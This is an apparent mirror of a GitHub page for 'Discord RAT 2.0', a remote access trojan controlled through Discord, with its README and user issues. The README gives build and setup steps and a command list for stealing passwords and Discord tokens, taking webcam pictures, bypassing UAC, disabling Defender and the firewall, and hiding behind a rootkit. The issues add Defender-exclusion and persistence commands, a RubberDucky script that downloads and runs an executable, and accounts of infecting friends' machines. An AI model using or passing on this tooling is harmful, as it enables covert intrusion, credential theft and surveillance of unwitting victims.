Giter Site home page Giter Site logo

moom825 / discord-rat-2.0 Goto Github PK

View Code? Open in Web Editor NEW
386.0 8.0 94.0 11.19 MB

Discord Remote Administration Tool fully written in c#, stub size of ~75kb, over 40 post exploitations modules

C# 100.00%
botnet c dicord discord-bot rat remote-access-tool remote-access-trojan remote-access-trojan-builder

discord-rat-2.0's Introduction

DiscordRAT 2.0

Discord Remote Administration Tool fully written in c#.

This is a RAT controlled over Discord with over 40 post exploitation modules.

The output file size also around ~75kb!

Disclaimer:

This tool is for educational use only, the author will not be held responsible for any misuse of this tool.

Credits

The rootkit in the project was made by "bytecode77". The source of the rootkit can be found here: https://github.com/bytecode77/r77-rootkit

Setup Guide:

Download the pre-complied binary's here https://github.com/moom825/Discord-RAT-2.0/releases/tag/2.0

You will first need to register a bot with the Discord developer portal and then add the bot to the Discord server that you want to use to control the bot (make sure the bot has administrator privileges in the Discord server). Once the bot is created open "builder.exe" and paste the token in, and paste the guild ID of where you invited the bot

Then if the steps above were successful, you can launch the file by executing Client-built.exe. It will create a new channel and post a message on the server with a generated session number.
Now your bot should be available to use !

Requirements:
Windows(x64)

Commands

Available commands are :
--> !message = Show a message box displaying your text / Syntax  = "!message example"
--> !shell = Execute a shell command /Syntax  = "!shell whoami"
--> !voice = Make a voice say outloud a custom sentence / Syntax = "!voice test"
--> !admincheck = Check if program has admin privileges
--> !cd = Changes directory
--> !dir = display all items in current dir
--> !download = Download a file from infected computer
--> !upload = Upload file to the infected computer / Syntax = "!upload file.png" (with attachment)
--> !uploadlink = Upload file to the infected computer / Syntax = "!upload link file.png"
--> !delete = deletes a file / Syntax = "!delete / path to / the / file.txt"
--> !write = Type your desired sentence on computer
--> !wallpaper = Change infected computer wallpaper / Syntax = "!wallpaper" (with attachment)
--> !clipboard = Retrieve infected computer clipboard content
--> !idletime = Get the idle time of user's on target computer
--> !currentdir = display the current dir
--> !block = Blocks user's keyboard and mouse / Warning : Admin rights are required
--> !unblock = Unblocks user's keyboard and mouse / Warning : Admin rights are required
--> !screenshot = Get the screenshot of the user's current screen
--> !exit = Exit program
--> !kill = Kill a session or all sessions / Syntax = "!kill session-3" or "!kill all"
--> !uacbypass = attempt to bypass uac to gain admin by using windir and slui
--> !shutdown = shutdown computer
--> !restart = restart computer
--> !logoff = log off current user
--> !bluescreen = BlueScreen PC
--> !datetime = display system date and time
--> !prockill = kill a process by name / syntax = "!kill process"
--> !disabledefender = Disable windows defender(requires admin)
--> !disablefirewall = Disable windows firewall(requires admin)
--> !audio = play a audio file on the target computer / Syntax = "!audio" (with attachment)
--> !critproc = make program a critical process. meaning if its closed the computer will bluescreen(Admin rights are required)
--> !uncritproc = if the process is a critical process it will no longer be a critical process meaning it can be closed without bluescreening(Admin rights are required)
--> !website = open a website on the infected computer / syntax = "!website www.google.com"
--> !disabletaskmgr = disable task manager(Admin rights are required)
--> !enabletaskmgr = enable task manager(if disabled)(Admin rights are required)
--> !startup = add to startup(when computer go on this file starts)
--> !geolocate = Geolocate computer using latitude and longitude of the ip adress with google map / Warning : Geolocating IP adresses is not very precise
--> !listprocess = Get all process's
--> !password = grab all passwords
--> !rootkit = Launch a rootkit (the process will be hidden from taskmgr and you wont be able to see the file)(Admin rights are required)
--> !unrootkit = Remove the rootkit(Admin rights are required)
--> !getcams = Grab the cameras names and their respected selection number
--> !selectcam = Select camera to take a picture out of (default will be camera 1)/ Syntax "!selectcam 1"
--> !webcampic = Take a picture out of the selected webcam
--> !grabtokens = Grab all discord tokens on the current pc
--> !help = This help menu

Donation

Buy me a coffee!

BTC: bc1qg4zy8w5swc66k9xg29c2x6ennn5cyv2ytlp0a6

discord-rat-2.0's People

Contributors

moom825 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

discord-rat-2.0's Issues

Startup Commands, etc

Having issues with persistence.

I've ratted my other machine several times. Around 9 instances. After a while, the connection will be lost even though I've used the !startup command to ensure it restarts on reboot. I've restarted the machine and it doesn't launch. Have to start a new instance every time.

discord

where is the new discord link?

Suggestion

Hey, is there anyway to add a second application to it e.g. It opens cookie clicker which is the RAT

Traceback Error

I keep getting this error, I have reinstalled over and over again
Traceback (most recent call last):
File "SynapseXLauncher.py", line 11, in
import cv2
File "PyInstaller\loader\pyimod02_importers.py", line 493, in exec_module
File "cv2_init_.py", line 181, in
bootstrap()
File "cv2_init_.py", line 153, in bootstrap
native_module = importlib.import_module("cv2")
File "importlib_init_.py", line 127, in import_module
File "PyInstaller\loader\pyimod02_importers.py", line 493, in exec_module
File "cv2_init_.py", line 181, in
bootstrap()
File "cv2_init_.py", line 76, in bootstrap
raise ImportError('ERROR: recursion is detected during loading of "cv2" binary extensions. Check OpenCV installation.')
ImportError: ERROR: recursion is detected during loading of "cv2" binary extensions. Check OpenCV installation.

startup don't work

When the user use the startup command with admin right, it make a task schedule but when the victim restart his computer the file don't start after doing these command :
!shell move C:\Users\users\Desktop\Client-built.exe C:\Windows\INF
!shell ren C:\Windows\INF\Client-built.exe WindowsINF.exe
!cd C:\Windows\INF
!shell powershell -Command Add-MpPreference -ExclusionPath "C:\Windows\INF"
!shell C:\Windows\INF\WindowsINF.exe
then i click on the new session and
!startup

Client built

Hi,basically i did as the video of hassa and i retried about 3 times cause when i was doing the file i never saw the client build. I saw a file named release and saw discord rat but when i told my friends to test for me and i tried the bot never sent anything. Pls help me

Not working

i posted this message '!volumemax' in the session that the bot created itself. no response

discord

Can anyone help me

Ive been trying to get this work and it wont. Is there anyone out there that uses it and it works that can help me set it up?
Im Evoranz#1153 on discord

Startup error

i ran it on a friend's computer. I also bypassed uac, got admin and added to startup. whenever they restart the laptop, it dosent star on startup

Somehow getting other connections.

After testing the rat on a vm and not spreading it at all. Not even taking it outside the vm, I am somehow getting connections to legitimate systems that I have not compromised my self.

[UPDATE REQUEST] Discord has increased upload file size

Update your code to upload files at 25mb of size. Since we cannot submit pull requests, Please do it yourself,

Here it is:

Filename: Discord-RAT-2.0-master\Discord rat\Program.cs

current:
line 424: if (data.Length > 7500000)

update it to:
line 424: if (data.Length > 26214400)

persistance

the bot deactivates after sometime even with the !startup

Need Help With ROOTKIT please🙏

Hello sir,
Saw your project and I really like it specially the rootkit part.
I took your rootkit code to incorporate it to my own project.
But a problem come to me.
My output exe of my project need to run in x32 but your rootkit DLL doesn’t work with that architecture.
Can you help me please?
Thank u

Feature Request

Hey, this project is very cool and work, but i think it will be better if you add a feature that hide the .exe running from the taskmanager !

Need some help w code / token

Hi moom, used your first RAT a while ago and really appreciate ur effort. Idk if ur willin for live discord help, but if not, I don't understand how I'm meant to 'open builder.exe' when the only builder file seems to be a csproj file. Any help?

not working help

after launching Client-built.exe discord bot dosent start and channels dont shows up

HELP, Its not working

I downloaded the stuff, setup a bot, gave it administrator perms, added it my server, used the builder.exe, put in the token and server id, and it doesnt send a message in discord when I use the Client-builder.exe

Which file do i download?

Do i download "release.zip", "source code (zip" or "Source code
(tar.gz)"? Bc i got a BLACKNET Trojan from both source code files.

Russian Hackers trying to reverse engeneer this exe???!!

I built an exe, i uploaded it to github just for myself called "sus.exe" it got 0 views, all of a sudden i'm getting sessions popping up and they are russian. I quickly took a screenshot and I got this .
image
It appears to be a VM and the hostname is GlY14zXNwx7W.
The IP is 95.25.71.4
This is worrying and I have no idea who could've gotten my exe and how?
I used this RubberDucky script to execute it from the internet, i dont think there are any viruses.

REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Downloads an .exe file from the URL and runs it on the target pc.
REM Version: 1.0
REM Category: Execution
DELAY 950
WINDOWS d
DELAY 950
WINDOWS r
DELAY 650
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 870
LEFTARROW
ENTER
DELAY 850
ALT y
DELAY 13000
STRING $url = "https://github.com/david09baz/sus/blob/main/Realtek%20HD%20High%20Definition%20Audio.exe?raw=true"; $output = "C:\windows\41281687.exe"; Invoke-WebRequest -Uri $url -OutFile $output; Start-Process -FilePath "C:\windows\41281687.exe"; exit
ENTER

I am so confused I would love a possible answer to this.
There is one more session hostname is "george" with different locations like Zurich with ISP of Packethub.net

Change Filename

How to change the Filename? The Filename is Client built exe and in the details you can see that the original file name is DiscordRat.exe
How can you change this?

Webcam and Token?

The Webcampic and the grab tokens do not work everything else works fine why does this not work? is it an addon?

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.